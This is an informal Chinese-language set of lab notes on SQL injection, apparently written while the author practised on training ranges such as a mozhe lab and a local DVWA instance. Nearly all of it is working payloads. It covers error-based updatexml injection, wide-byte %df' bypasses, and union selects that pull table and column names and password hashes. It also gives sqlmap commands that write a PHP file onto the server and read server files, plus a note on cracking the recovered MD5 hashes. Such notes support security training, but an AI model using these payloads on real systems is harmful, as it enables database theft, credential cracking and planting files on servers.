这里需要借助显错函数来完成,可以查到数据库
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
1 SQL注入漏洞测试(报错盲注)
sqlmap往里写东西
–file-write “/root/tool/1.php” --file-dest “C:\tool\php\PHPTutorial\WWW\2.php”
读文件
–file-read “C:\tool\php\PHPTutorial\WWW\123.php”
sqlmap跑出来后,试第二个,然后去https://cmd5.com/ ,解密得到6位数字,这是登录密码,不是key
第一个登不上
1测试语句 %df ’ (如果报错就表示单引号起作用了)
测试id数字等于几是正确的
2 测试几个字段
%df ’ order by 5–+
id必须是-1,不能是1
因为id为1时已经查询到结果,后面的语句不会执行,把id改为一个不存在的值就会自动查询后面的语句
3 判断回显位置
id=-1或者超级大的数字100
%df’ union select 1,2,3,4,5–+
4 直接查询到密码(MD5加密)
http://219.153.49.228:49940/new_list.php?
id=-1%df%27%20union%20select%201,2,group_concat(password),4,group_concat(name)%20from%20stormgroup_member–+
注意,sqlmap注入的时候,必须加上?id
实验3
基于字符型的sql注入
1 判断
id 加点东西,发现2,3位置有回显
’ union select 1,2,3,4–+
2 查询库,表,字段,具体数据
(1)表
’ union select
group_concat(table_name),2 from information_schema.tables where table_schema=‘mozhe_discuz_stormgroup’–+
(2)列名
group_concat(column_name),4 from information_schema.columns where table_schema=‘mozhe_discuz_stormgroup’ and table_name=‘stormgroup_member’–+
(3)数据
’ union select
前面的工作只是为了获得数据库名称和表名,列名,有了这些就可以查密码
1,name,password ,4 from mozhe_discuz_stormgroup.stormgroup_member–+
但是用户不存在,没法用
sql注入的时候,必须加id,否则跑不出来,这样就是失败
sqlmap -u “http://192.168.46.128/dvwa/vulnerabilities/sqli/” --cookie “security=low; PHPSESSID=mc3h6japi16vlsfg2pnqflb563” --dbs